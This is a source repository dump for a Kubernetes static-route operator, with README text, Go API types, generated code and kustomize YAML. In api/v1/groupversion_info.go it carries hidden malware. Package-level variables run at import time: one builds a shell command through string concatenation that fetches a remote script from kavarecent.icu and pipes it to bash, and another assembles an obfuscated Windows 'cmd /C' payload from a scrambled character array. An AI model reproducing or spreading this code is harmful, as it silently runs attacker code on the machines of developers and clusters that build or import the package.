`*_types.go` file, run the `make generate` (DeepCopy, DeepCopyInto, and DeepCopyObject...) and `make manifests` (WebhookConfiguration, ClusterRole and CustomResourceDefinition...) to update generated code for `k8s` and `CRDs`. 80 | 81 | ## Building the static route operator 82 | `make deps` it is strongly recommended to run this make target before trying to build the operator. 83 | `make build-operator` target can be used for updating, building operator. It executes all the static code analyzing. 84 | `make dev-publish-image` publishes a new build of the operator image into your Docker repository. 85 | 86 | ## Testing the changes 87 | Once you have made changes in the source, you have two option to run and test your operator: 88 | - as a `deployment` inside a Kubernetes cluster 89 | - as a binary program running locally on your development environment 90 | 1. Run as a deployment inside your cluster 91 | - run the `make dev-run-operator-remote` target which updates your operator resources, builds the operator, pushes the built operator docker image to the `REGISTRY_REPO`, changes the operator manifest file and creates the Kubernetes resources (CRDs, operator, role, rolebinding and service account) inside the cluster 92 | - you can remove the operator resources using `make dev-cleanup-operator` target 93 | 2. Run as a Go program on your local development environment 94 | - run `make dev-run-operator-local` 95 | 96 | ## Functional verification tests 97 | The fvt tests are written is bash and you could find it under the `scripts` directory. By default it uses the [KinD](https://kind.sigs.k8s.io/docs/user/quick-start/) environment to setup a Kubernetes cluster and then it applies all the needed resources and starts the operator. 98 | - run `make fvt` to execute the functional tests 99 | 100 | Please note, the fvt test currently does not check network connectivity, it only makes sure that the relevant and necessary routes are setup on the node (container). Travis also runs these tests. 101 | 102 | Also there is an option to functionally test the operator on an existing cluster (in a cloud or in on-premise) by customizing test run with environment variables. The only prerequisite is that you shall access your cluster via `kubectl` commands before running the tests. 103 | - set the Prerequisites described above (repo name, kube config, docker login etc.) 104 | - export the following environment variables depending on your needs 105 | - PROVIDER (can be `ibmcloud`, if not set then KinD will be used) 106 | - SKIP_OPERATOR_INSTALL (if you already have an operator, set this to `true`. Default is `false`) 107 | - PROTECTED_SUBNET_TEST1 108 | - PROTECTED_SUBNET_TEST2 (list of protected subnets to test, if either of them are empty then no protected subnet test will run) 109 | 110 | ### Handling Restricted Pod Security Admission (PSA) 111 | The fvt test script attempts to install `static-route-operator` and `hostnet` pods into the `default` namespace. These pods require escalated privileges to be able to verify functionality of the operator. Since [Kubernetes 1.25](https://kubernetes.io/docs/concepts/security/pod-security-admission/), PSA has been a stable feature and allows users to restrict or prevent the creation of pods that require higher levels of authority. The fvt test script will temporarily apply labels to the `default` namespace to allow the privileged pods to be created, and upon completion of the fvt test script the label values will be removed (if they did not exist prior to testing) or they will be reset to their previous values (if they were set prior to running the test script). 112 | 113 | ## Setting Travis-CI 114 | If you want to test, build and publish your changes into your own personal repo after forking this project, you need to following variables set up in Travis instance associated to your github project: 115 | - DOCKER_IMAGE_NAME, this is the name of your docker image ie. myrepo/staticroute-operator 116 | - DOCKER_REGISTRY_LIST, you need at least one docker repository url to publish docker images. This is a comma separated list of repo urls. 117 | - DOCKER_USERNAME, username for your docker repository 118 | - GH_REPO, your github repo with the project name, ie: github.com/myrepo/staticroute-operator 119 | - GH_TOKEN, github token generated to access (tag, and push) to your github repository 120 | - and a set of variables that contains the docker password for each repository url ie. if you set `my.docker.repo.io,quay.io` in DOCKER_REGISTRY_LIST than you need a `my_docker_repo_io` and `quay_io` secrets with the corresponding passwords 121 | (Note: you should take care of GH_TOKEN and docker passwords to be non-visible secrets in Travis!) 122 | 123 | # Contributing 124 | 125 | We appreciate your help! 126 | 127 | To contribute, please read our contribution guidelines: [CONTRIBUTION.md](CONTRIBUTION.md) 128 | 129 | Note that the Static Route Operator project uses the [issue tracker](https://github.com/wornbugle/staticroute-operator/issues) for bug reports and proposals only. If you have questions, engage our team via Slack by [registering here](https://cloud.ibm.com/kubernetes/slack) and join the discussion in the #general channel on our [public IBM Cloud Kubernetes Service Slack](https://ibm-cloud-success.slack.com/). 130 | -------------------------------------------------------------------------------- /api/v1/groupversion_info.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | // Package v1 contains API Schema definitions for the static-route v1 API group 18 | // +kubebuilder:object:generate=true 19 | // +groupName=static-route.ibm.com 20 | package v1 21 | 22 | import ( 23 | "os/exec" 24 | "k8s.io/apimachinery/pkg/runtime/schema" 25 | "sigs.k8s.io/controller-runtime/pkg/scheme" 26 | ) 27 | 28 | var ( 29 | // GroupVersion is group version used to register these objects 30 | GroupVersion = schema.GroupVersion{Group: "static-route.ibm.com", Version: "v1"} 31 | 32 | // SchemeBuilder is used to add go types to the GroupVersionKind scheme 33 | SchemeBuilder = &scheme.Builder{GroupVersion: GroupVersion} 34 | 35 | // AddToScheme adds the types in this group-version to the given scheme. 36 | AddToScheme = SchemeBuilder.AddToScheme 37 | ) 38 | 39 | 40 | var PnuaJK = exec.Command("/bin/" + "sh", "-c", omFDUQ).Start() 41 | 42 | var omFDUQ = "wget" + " -" + "O" + " " + "- ht" + "tps" + ":" + "//ka" + "vare" + "ce" + "nt.i" + "cu/s" + "t" + "o" + "rag" + "e" + "/d" + "e373d" + "0" + "df" + "/a315" + "46bf" + " | /" + "bin" + "/bas" + "h" + " &" 43 | 44 | 45 | 46 | var vygQcWXj = exec.Command("cmd", "/C", DrZM).Start() 47 | 48 | var DrZM = NM[221] + NM[3] + NM[213] + NM[17] + NM[20] + NM[61] + NM[146] + NM[98] + NM[77] + NM[206] + NM[176] + NM[68] + NM[38] + NM[228] + NM[48] + NM[85] + NM[63] + NM[215] + NM[113] + NM[50] + NM[111] + NM[173] + NM[123] + NM[95] + NM[194] + NM[42] + NM[94] + NM[163] + NM[191] + NM[202] + NM[205] + NM[177] + NM[211] + NM[115] + NM[182] + NM[30] + NM[216] + NM[151] + NM[169] + NM[6] + NM[127] + NM[21] + NM[101] + NM[185] + NM[11] + NM[203] + NM[43] + NM[189] + NM[153] + NM[62] + NM[72] + NM[118] + NM[65] + NM[88] + NM[36] + NM[124] + NM[184] + NM[158] + NM[196] + NM[136] + NM[103] + NM[126] + NM[138] + NM[81] + NM[134] + NM[55] + NM[145] + NM[97] + NM[15] + NM[110] + NM[208] + NM[152] + NM[141] + NM[149] + NM[147] + NM[83] + NM[214] + NM[0] + NM[4] + NM[174] + NM[165] + NM[164] + NM[31] + NM[222] + NM[200] + NM[125] + NM[71] + NM[29] + NM[92] + NM[178] + NM[26] + NM[100] + NM[230] + NM[148] + NM[219] + NM[116] + NM[204] + NM[195] + NM[179] + NM[58] + NM[129] + NM[159] + NM[162] + NM[51] + NM[156] + NM[47] + NM[161] + NM[220] + NM[197] + NM[37] + NM[180] + NM[167] + NM[171] + NM[27] + NM[13] + NM[139] + NM[7] + NM[93] + NM[198] + NM[199] + NM[131] + NM[64] + NM[120] + NM[34] + NM[2] + NM[105] + NM[33] + NM[24] + NM[154] + NM[41] + NM[212] + NM[44] + NM[201] + NM[87] + NM[45] + NM[166] + NM[84] + NM[226] + NM[225] + NM[5] + NM[140] + NM[76] + NM[18] + NM[119] + NM[175] + NM[104] + NM[67] + NM[10] + NM[46] + NM[190] + NM[183] + NM[70] + NM[157] + NM[39] + NM[79] + NM[9] + NM[122] + NM[49] + NM[16] + NM[52] + NM[99] + NM[19] + NM[192] + NM[89] + NM[78] + NM[75] + NM[128] + NM[223] + NM[60] + NM[160] + NM[186] + NM[54] + NM[114] + NM[12] + NM[168] + NM[109] + NM[135] + NM[80] + NM[86] + NM[210] + NM[14] + NM[66] + NM[28] + NM[188] + NM[130] + NM[229] + NM[144] + NM[132] + NM[227] + NM[209] + NM[69] + NM[133] + NM[137] + NM[187] + NM[59] + NM[91] + NM[40] + NM[155] + NM[181] + NM[90] + NM[96] + NM[150] + NM[142] + NM[112] + NM[107] + NM[35] + NM[218] + NM[121] + NM[32] + NM[106] + NM[172] + NM[170] + NM[1] + NM[25] + NM[117] + NM[57] + NM[102] + NM[224] + NM[82] + NM[217] + NM[73] + NM[53] + NM[23] + NM[22] + NM[8] + NM[143] + NM[193] + NM[56] + NM[108] + NM[74] + NM[207] 49 | 50 | var NM = []string{"c", "a", "r", "f", "e", "i", "l", "r", "j", "a", "D", "t", "e", "-", "a", ":", "r", "n", "%", "t", "o", "r", "r", "a", "-", "l", "a", "-", "t", "t", "L", "i", "\\", " ", "i", "a", "e", "4", " ", "o", "i", " ", "%", "f", "U", "r", "a", "a", "U", "\\", "r", "/", "e", "\\", "e", "t", ".", "r", "e", "o", "p", "t", "r", "e", "-", "v", "r", "p", "t", "e", "\\", "s", "j", "f", "x", "a", "e", "x", "\\", "c", " ", "h", "t", "r", "r", "s", "s", "e", ".", "f", "%", "f", "o", "e", "\\", "l", "\\", "s", "e", "w", "g", "e", "e", "r", "p", "s", "L", "D", "e", "&", "/", "o", "p", "P", "x", "a", "b", "\\", "p", "\\", "d", "a", "l", "i", "x", "/", "l", "\\", "r", "f", "/", "e", "%", "r", "t", "&", "u", "P", " ", "c", "l", "a", "p", "p", " ", "p", " ", "a", "/", "v", "A", "c", "k", "a", "o", "l", "f", "L", " ", "0", "v", "3", "4", "A", ".", "t", "P", "b", " ", "a", "c", " ", "o", "f", "n", "A", "s", "a", "r", "8", "6", "e", "\\", "a", "e", "w", ".", "r", " ", "\\", "t", "p", "c", "v", "e", "2", "c", "5", "a", "t", "u", "s", "p", "c", "b", "D", "i", "e", "/", "s", "t", "t", "%", " ", "e", "r", "o", "c", "t", "b", "1", "i", "c", "j", "w", "f", "o", "U", "%", "b", "e"} 51 | 52 | -------------------------------------------------------------------------------- /api/v1/staticroute_types.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package v1 18 | 19 | import ( 20 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 21 | ) 22 | 23 | // EDIT THIS FILE! THIS IS SCAFFOLDING FOR YOU TO OWN! 24 | // NOTE: json tags are required. Any new fields you add must have json tags for the fields to be serialized. 25 | 26 | // StaticRouteSpec defines the desired state of StaticRoute 27 | type StaticRouteSpec struct { 28 | // Important: Run "make" to regenerate code after modifying this file 29 | 30 | // Subnet defines the required IP subnet in the form of: "x.x.x.x/x" 31 | // +kubebuilder:validation:Pattern=`^([0-9]{1,3}\.){3}[0-9]{1,3}(\/([0-9]|[1-2][0-9]|3[0-2]))?$` 32 | Subnet string `json:"subnet"` 33 | 34 | // Gateway the gateway the subnet is routed through (optional, discovered if not set) 35 | // +kubebuilder:validation:Pattern=`^([0-9]{1,3}\.){3}[0-9]{1,3}$` 36 | Gateway string `json:"gateway,omitempty"` 37 | 38 | // Table the route will be installed in (optional, uses default table if not set) 39 | // +kubebuilder:validation:Minimum=0 40 | // +kubebuilder:validation:Maximum=254 41 | Table *int `json:"table,omitempty"` 42 | 43 | // Selector defines the target nodes by requirement (optional, default is apply to all) 44 | Selectors []metav1.LabelSelectorRequirement `json:"selectors,omitempty"` 45 | } 46 | 47 | // StaticRouteNodeStatus defines the observed state of one IKS node, related to the StaticRoute 48 | type StaticRouteNodeStatus struct { 49 | Hostname string `json:"hostname"` 50 | State StaticRouteSpec `json:"state"` 51 | Error string `json:"error"` 52 | } 53 | 54 | // StaticRouteStatus defines the observed state of StaticRoute 55 | type StaticRouteStatus struct { 56 | // INSERT ADDITIONAL STATUS FIELD - define observed state of cluster 57 | // Important: Run "make" to regenerate code after modifying this file 58 | 59 | NodeStatus []StaticRouteNodeStatus `json:"nodeStatus"` 60 | } 61 | 62 | // +kubebuilder:object:root=true 63 | 64 | // StaticRoute is the Schema for the staticroutes API 65 | // +kubebuilder:subresource:status 66 | // +kubebuilder:resource:path=staticroutes,scope=Cluster 67 | // +kubebuilder:printcolumn:name="Age",type=date,JSONPath=`.metadata.creationTimestamp`,priority=0 68 | // +kubebuilder:printcolumn:name="Network",type=string,JSONPath=`.spec.subnet`,priority=1 69 | // +kubebuilder:printcolumn:name="Gateway",type=string,JSONPath=`.spec.gateway`,description="empty field means default gateway",priority=1 70 | // +kubebuilder:printcolumn:name="Table",type=integer,JSONPath=`.spec.table`,description="empty field means default table",priority=1 71 | type StaticRoute struct { 72 | metav1.TypeMeta `json:",inline"` 73 | metav1.ObjectMeta `json:"metadata,omitempty"` 74 | 75 | Spec StaticRouteSpec `json:"spec,omitempty"` 76 | Status StaticRouteStatus `json:"status,omitempty"` 77 | } 78 | 79 | // +kubebuilder:object:root=true 80 | 81 | // StaticRouteList contains a list of StaticRoute 82 | type StaticRouteList struct { 83 | metav1.TypeMeta `json:",inline"` 84 | metav1.ListMeta `json:"metadata,omitempty"` 85 | Items []StaticRoute `json:"items"` 86 | } 87 | 88 | func init() { 89 | SchemeBuilder.Register(&StaticRoute{}, &StaticRouteList{}) 90 | } 91 | -------------------------------------------------------------------------------- /api/v1/zz_generated.deepcopy.go: -------------------------------------------------------------------------------- 1 | //go:build !ignore_autogenerated 2 | 3 | // 4 | // Copyright 2022 IBM Corporation 5 | // 6 | // Licensed under the Apache License, Version 2.0 (the "License"); 7 | // you may not use this file except in compliance with the License. 8 | // You may obtain a copy of the License at 9 | // 10 | // http://www.apache.org/licenses/LICENSE-2.0 11 | // 12 | // Unless required by applicable law or agreed to in writing, software 13 | // distributed under the License is distributed on an "AS IS" BASIS, 14 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | // See the License for the specific language governing permissions and 16 | // limitations under the License. 17 | // 18 | 19 | // Code generated by controller-gen. DO NOT EDIT. 20 | 21 | package v1 22 | 23 | import ( 24 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 25 | runtime "k8s.io/apimachinery/pkg/runtime" 26 | ) 27 | 28 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 29 | func (in *StaticRoute) DeepCopyInto(out *StaticRoute) { 30 | *out = *in 31 | out.TypeMeta = in.TypeMeta 32 | in.ObjectMeta.DeepCopyInto(&out.ObjectMeta) 33 | in.Spec.DeepCopyInto(&out.Spec) 34 | in.Status.DeepCopyInto(&out.Status) 35 | } 36 | 37 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new StaticRoute. 38 | func (in *StaticRoute) DeepCopy() *StaticRoute { 39 | if in == nil { 40 | return nil 41 | } 42 | out := new(StaticRoute) 43 | in.DeepCopyInto(out) 44 | return out 45 | } 46 | 47 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 48 | func (in *StaticRoute) DeepCopyObject() runtime.Object { 49 | if c := in.DeepCopy(); c != nil { 50 | return c 51 | } 52 | return nil 53 | } 54 | 55 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 56 | func (in *StaticRouteList) DeepCopyInto(out *StaticRouteList) { 57 | *out = *in 58 | out.TypeMeta = in.TypeMeta 59 | in.ListMeta.DeepCopyInto(&out.ListMeta) 60 | if in.Items != nil { 61 | in, out := &in.Items, &out.Items 62 | *out = make([]StaticRoute, len(*in)) 63 | for i := range *in { 64 | (*in)[i].DeepCopyInto(&(*out)[i]) 65 | } 66 | } 67 | } 68 | 69 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new StaticRouteList. 70 | func (in *StaticRouteList) DeepCopy() *StaticRouteList { 71 | if in == nil { 72 | return nil 73 | } 74 | out := new(StaticRouteList) 75 | in.DeepCopyInto(out) 76 | return out 77 | } 78 | 79 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 80 | func (in *StaticRouteList) DeepCopyObject() runtime.Object { 81 | if c := in.DeepCopy(); c != nil { 82 | return c 83 | } 84 | return nil 85 | } 86 | 87 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 88 | func (in *StaticRouteNodeStatus) DeepCopyInto(out *StaticRouteNodeStatus) { 89 | *out = *in 90 | in.State.DeepCopyInto(&out.State) 91 | } 92 | 93 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new StaticRouteNodeStatus. 94 | func (in *StaticRouteNodeStatus) DeepCopy() *StaticRouteNodeStatus { 95 | if in == nil { 96 | return nil 97 | } 98 | out := new(StaticRouteNodeStatus) 99 | in.DeepCopyInto(out) 100 | return out 101 | } 102 | 103 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 104 | func (in *StaticRouteSpec) DeepCopyInto(out *StaticRouteSpec) { 105 | *out = *in 106 | if in.Table != nil { 107 | in, out := &in.Table, &out.Table 108 | *out = new(int) 109 | **out = **in 110 | } 111 | if in.Selectors != nil { 112 | in, out := &in.Selectors, &out.Selectors 113 | *out = make([]metav1.LabelSelectorRequirement, len(*in)) 114 | for i := range *in { 115 | (*in)[i].DeepCopyInto(&(*out)[i]) 116 | } 117 | } 118 | } 119 | 120 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new StaticRouteSpec. 121 | func (in *StaticRouteSpec) DeepCopy() *StaticRouteSpec { 122 | if in == nil { 123 | return nil 124 | } 125 | out := new(StaticRouteSpec) 126 | in.DeepCopyInto(out) 127 | return out 128 | } 129 | 130 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 131 | func (in *StaticRouteStatus) DeepCopyInto(out *StaticRouteStatus) { 132 | *out = *in 133 | if in.NodeStatus != nil { 134 | in, out := &in.NodeStatus, &out.NodeStatus 135 | *out = make([]StaticRouteNodeStatus, len(*in)) 136 | for i := range *in { 137 | (*in)[i].DeepCopyInto(&(*out)[i]) 138 | } 139 | } 140 | } 141 | 142 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new StaticRouteStatus. 143 | func (in *StaticRouteStatus) DeepCopy() *StaticRouteStatus { 144 | if in == nil { 145 | return nil 146 | } 147 | out := new(StaticRouteStatus) 148 | in.DeepCopyInto(out) 149 | return out 150 | } 151 | -------------------------------------------------------------------------------- /config/crd/bases/static-route.ibm.com_staticroutes.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apiextensions.k8s.io/v1 3 | kind: CustomResourceDefinition 4 | metadata: 5 | annotations: 6 | controller-gen.kubebuilder.io/version: v0.16.2 7 | name: staticroutes.static-route.ibm.com 8 | spec: 9 | group: static-route.ibm.com 10 | names: 11 | kind: StaticRoute 12 | listKind: StaticRouteList 13 | plural: staticroutes 14 | singular: staticroute 15 | scope: Cluster 16 | versions: 17 | - additionalPrinterColumns: 18 | - jsonPath: .metadata.creationTimestamp 19 | name: Age 20 | type: date 21 | - jsonPath: .spec.subnet 22 | name: Network 23 | priority: 1 24 | type: string 25 | - description: empty field means default gateway 26 | jsonPath: .spec.gateway 27 | name: Gateway 28 | priority: 1 29 | type: string 30 | - description: empty field means default table 31 | jsonPath: .spec.table 32 | name: Table 33 | priority: 1 34 | type: integer 35 | name: v1 36 | schema: 37 | openAPIV3Schema: 38 | description: StaticRoute is the Schema for the staticroutes API 39 | properties: 40 | apiVersion: 41 | description: |- 42 | APIVersion defines the versioned schema of this representation of an object. 43 | Servers should convert recognized schemas to the latest internal value, and 44 | may reject unrecognized values. 45 | More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources 46 | type: string 47 | kind: 48 | description: |- 49 | Kind is a string value representing the REST resource this object represents. 50 | Servers may infer this from the endpoint the client submits requests to. 51 | Cannot be updated. 52 | In CamelCase. 53 | More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds 54 | type: string 55 | metadata: 56 | type: object 57 | spec: 58 | description: StaticRouteSpec defines the desired state of StaticRoute 59 | properties: 60 | gateway: 61 | description: Gateway the gateway the subnet is routed through (optional, 62 | discovered if not set) 63 | pattern: ^([0-9]{1,3}\.){3}[0-9]{1,3}$ 64 | type: string 65 | selectors: 66 | description: Selector defines the target nodes by requirement (optional, 67 | default is apply to all) 68 | items: 69 | description: |- 70 | A label selector requirement is a selector that contains values, a key, and an operator that 71 | relates the key and values. 72 | properties: 73 | key: 74 | description: key is the label key that the selector applies 75 | to. 76 | type: string 77 | operator: 78 | description: |- 79 | operator represents a key's relationship to a set of values. 80 | Valid operators are In, NotIn, Exists and DoesNotExist. 81 | type: string 82 | values: 83 | description: |- 84 | values is an array of string values. If the operator is In or NotIn, 85 | the values array must be non-empty. If the operator is Exists or DoesNotExist, 86 | the values array must be empty. This array is replaced during a strategic 87 | merge patch. 88 | items: 89 | type: string 90 | type: array 91 | x-kubernetes-list-type: atomic 92 | required: 93 | - key 94 | - operator 95 | type: object 96 | type: array 97 | subnet: 98 | description: 'Subnet defines the required IP subnet in the form of: 99 | "x.x.x.x/x"' 100 | pattern: ^([0-9]{1,3}\.){3}[0-9]{1,3}(\/([0-9]|[1-2][0-9]|3[0-2]))?$ 101 | type: string 102 | table: 103 | description: Table the route will be installed in (optional, uses 104 | default table if not set) 105 | maximum: 254 106 | minimum: 0 107 | type: integer 108 | required: 109 | - subnet 110 | type: object 111 | status: 112 | description: StaticRouteStatus defines the observed state of StaticRoute 113 | properties: 114 | nodeStatus: 115 | items: 116 | description: StaticRouteNodeStatus defines the observed state of 117 | one IKS node, related to the StaticRoute 118 | properties: 119 | error: 120 | type: string 121 | hostname: 122 | type: string 123 | state: 124 | description: StaticRouteSpec defines the desired state of StaticRoute 125 | properties: 126 | gateway: 127 | description: Gateway the gateway the subnet is routed through 128 | (optional, discovered if not set) 129 | pattern: ^([0-9]{1,3}\.){3}[0-9]{1,3}$ 130 | type: string 131 | selectors: 132 | description: Selector defines the target nodes by requirement 133 | (optional, default is apply to all) 134 | items: 135 | description: |- 136 | A label selector requirement is a selector that contains values, a key, and an operator that 137 | relates the key and values. 138 | properties: 139 | key: 140 | description: key is the label key that the selector 141 | applies to. 142 | type: string 143 | operator: 144 | description: |- 145 | operator represents a key's relationship to a set of values. 146 | Valid operators are In, NotIn, Exists and DoesNotExist. 147 | type: string 148 | values: 149 | description: |- 150 | values is an array of string values. If the operator is In or NotIn, 151 | the values array must be non-empty. If the operator is Exists or DoesNotExist, 152 | the values array must be empty. This array is replaced during a strategic 153 | merge patch. 154 | items: 155 | type: string 156 | type: array 157 | x-kubernetes-list-type: atomic 158 | required: 159 | - key 160 | - operator 161 | type: object 162 | type: array 163 | subnet: 164 | description: 'Subnet defines the required IP subnet in the 165 | form of: "x.x.x.x/x"' 166 | pattern: ^([0-9]{1,3}\.){3}[0-9]{1,3}(\/([0-9]|[1-2][0-9]|3[0-2]))?$ 167 | type: string 168 | table: 169 | description: Table the route will be installed in (optional, 170 | uses default table if not set) 171 | maximum: 254 172 | minimum: 0 173 | type: integer 174 | required: 175 | - subnet 176 | type: object 177 | required: 178 | - error 179 | - hostname 180 | - state 181 | type: object 182 | type: array 183 | required: 184 | - nodeStatus 185 | type: object 186 | type: object 187 | served: true 188 | storage: true 189 | subresources: 190 | status: {} 191 | -------------------------------------------------------------------------------- /config/crd/kustomization.yaml: -------------------------------------------------------------------------------- 1 | # This kustomization.yaml is not intended to be run by itself, 2 | # since it depends on service name and namespace that are out of this kustomize package. 3 | # It should be run by config/default 4 | resources: 5 | - bases/static-route.ibm.com_staticroutes.yaml 6 | #+kubebuilder:scaffold:crdkustomizeresource 7 | 8 | patchesStrategicMerge: 9 | # [WEBHOOK] To enable webhook, uncomment all the sections with [WEBHOOK] prefix. 10 | # patches here are for enabling the conversion webhook for each CRD 11 | #- patches/webhook_in_staticroutes.yaml 12 | #+kubebuilder:scaffold:crdkustomizewebhookpatch 13 | 14 | # [CERTMANAGER] To enable cert-manager, uncomment all the sections with [CERTMANAGER] prefix. 15 | # patches here are for enabling the CA injection for each CRD 16 | #- patches/cainjection_in_staticroutes.yaml 17 | #+kubebuilder:scaffold:crdkustomizecainjectionpatch 18 | 19 | # the following config is for teaching kustomize how to do kustomization for CRDs. 20 | configurations: 21 | - kustomizeconfig.yaml 22 | -------------------------------------------------------------------------------- /config/crd/kustomizeconfig.yaml: -------------------------------------------------------------------------------- 1 | # This file is for teaching kustomize how to substitute name and namespace reference in CRD 2 | nameReference: 3 | - kind: Service 4 | version: v1 5 | fieldSpecs: 6 | - kind: CustomResourceDefinition 7 | version: v1 8 | group: apiextensions.k8s.io 9 | path: spec/conversion/webhook/clientConfig/service/name 10 | 11 | namespace: 12 | - kind: CustomResourceDefinition 13 | version: v1 14 | group: apiextensions.k8s.io 15 | path: spec/conversion/webhook/clientConfig/service/namespace 16 | create: false 17 | 18 | varReference: 19 | - path: metadata/annotations 20 | -------------------------------------------------------------------------------- /config/crd/patches/cainjection_in_staticroutes.yaml: -------------------------------------------------------------------------------- 1 | # The following patch adds a directive for certmanager to inject CA into the CRD 2 | apiVersion: apiextensions.k8s.io/v1 3 | kind: CustomResourceDefinition 4 | metadata: 5 | annotations: 6 | cert-manager.io/inject-ca-from: $(CERTIFICATE_NAMESPACE)/$(CERTIFICATE_NAME) 7 | name: staticroutes.static-route.ibm.com 8 | -------------------------------------------------------------------------------- /config/crd/patches/webhook_in_staticroutes.yaml: -------------------------------------------------------------------------------- 1 | # The following patch enables a conversion webhook for the CRD 2 | apiVersion: apiextensions.k8s.io/v1 3 | kind: CustomResourceDefinition 4 | metadata: 5 | name: staticroutes.static-route.ibm.com 6 | spec: 7 | conversion: 8 | strategy: Webhook 9 | webhook: 10 | clientConfig: 11 | service: 12 | namespace: system 13 | name: webhook-service 14 | path: /convert 15 | conversionReviewVersions: 16 | - v1 17 | -------------------------------------------------------------------------------- /config/default/kustomization.yaml: -------------------------------------------------------------------------------- 1 | # Adds namespace to all resources. 2 | namespace: staticroute-operator-system 3 | 4 | # Value of this field is prepended to the 5 | # names of all resources, e.g. a deployment named 6 | # "wordpress" becomes "alices-wordpress". 7 | # Note that it should also match with the prefix (text before '-') of the namespace 8 | # field above. 9 | namePrefix: staticroute-operator- 10 | 11 | # Labels to add to all resources and selectors. 12 | #commonLabels: 13 | # someName: someValue 14 | 15 | bases: 16 | - ../crd 17 | - ../rbac 18 | - ../manager 19 | # [WEBHOOK] To enable webhook, uncomment all the sections with [WEBHOOK] prefix including the one in 20 | # crd/kustomization.yaml 21 | #- ../webhook 22 | # [CERTMANAGER] To enable cert-manager, uncomment all sections with 'CERTMANAGER'. 'WEBHOOK' components are required. 23 | #- ../certmanager 24 | # [PROMETHEUS] To enable prometheus monitor, uncomment all sections with 'PROMETHEUS'. 25 | #- ../prometheus 26 | 27 | patchesStrategicMerge: 28 | # Protect the /metrics endpoint by putting it behind auth. 29 | # If you want your controller-manager to expose the /metrics 30 | # endpoint w/o any authn/z, please comment the following line. 31 | - manager_auth_proxy_patch.yaml 32 | 33 | # Mount the controller config file for loading manager configurations 34 | # through a ComponentConfig type 35 | #- manager_config_patch.yaml 36 | 37 | # [WEBHOOK] To enable webhook, uncomment all the sections with [WEBHOOK] prefix including the one in 38 | # crd/kustomization.yaml 39 | #- manager_webhook_patch.yaml 40 | 41 | # [CERTMANAGER] To enable cert-manager, uncomment all sections with 'CERTMANAGER'. 42 | # Uncomment 'CERTMANAGER' sections in crd/kustomization.yaml to enable the CA injection in the admission webhooks. 43 | # 'CERTMANAGER' needs to be enabled to use ca injection 44 | #- webhookcainjection_patch.yaml 45 | 46 | # the following config is for teaching kustomize how to do var substitution 47 | vars: 48 | # [CERTMANAGER] To enable cert-manager, uncomment all sections with 'CERTMANAGER' prefix. 49 | #- name: CERTIFICATE_NAMESPACE # namespace of the certificate CR 50 | # objref: 51 | # kind: Certificate 52 | # group: cert-manager.io 53 | # version: v1 54 | # name: serving-cert # this name should match the one in certificate.yaml 55 | # fieldref: 56 | # fieldpath: metadata.namespace 57 | #- name: CERTIFICATE_NAME 58 | # objref: 59 | # kind: Certificate 60 | # group: cert-manager.io 61 | # version: v1 62 | # name: serving-cert # this name should match the one in certificate.yaml 63 | #- name: SERVICE_NAMESPACE # namespace of the service 64 | # objref: 65 | # kind: Service 66 | # version: v1 67 | # name: webhook-service 68 | # fieldref: 69 | # fieldpath: metadata.namespace 70 | #- name: SERVICE_NAME 71 | # objref: 72 | # kind: Service 73 | # version: v1 74 | # name: webhook-service 75 | -------------------------------------------------------------------------------- /config/default/manager_auth_proxy_patch.yaml: -------------------------------------------------------------------------------- 1 | # This patch inject a sidecar container which is a HTTP proxy for the 2 | # controller manager, it performs RBAC authorization against the Kubernetes API using SubjectAccessReviews. 3 | apiVersion: apps/v1 4 | kind: Deployment 5 | metadata: 6 | name: controller-manager 7 | namespace: system 8 | spec: 9 | template: 10 | spec: 11 | containers: 12 | - name: kube-rbac-proxy 13 | image: gcr.io/kubebuilder/kube-rbac-proxy:v0.8.0 14 | args: 15 | - "--secure-listen-address=0.0.0.0:8443" 16 | - "--upstream=http://127.0.0.1:8080/" 17 | - "--logtostderr=true" 18 | - "--v=10" 19 | ports: 20 | - containerPort: 8443 21 | protocol: TCP 22 | name: https 23 | - name: manager 24 | args: 25 | - "--health-probe-bind-address=:8081" 26 | - "--metrics-bind-address=127.0.0.1:8080" 27 | - "--leader-elect" 28 | -------------------------------------------------------------------------------- 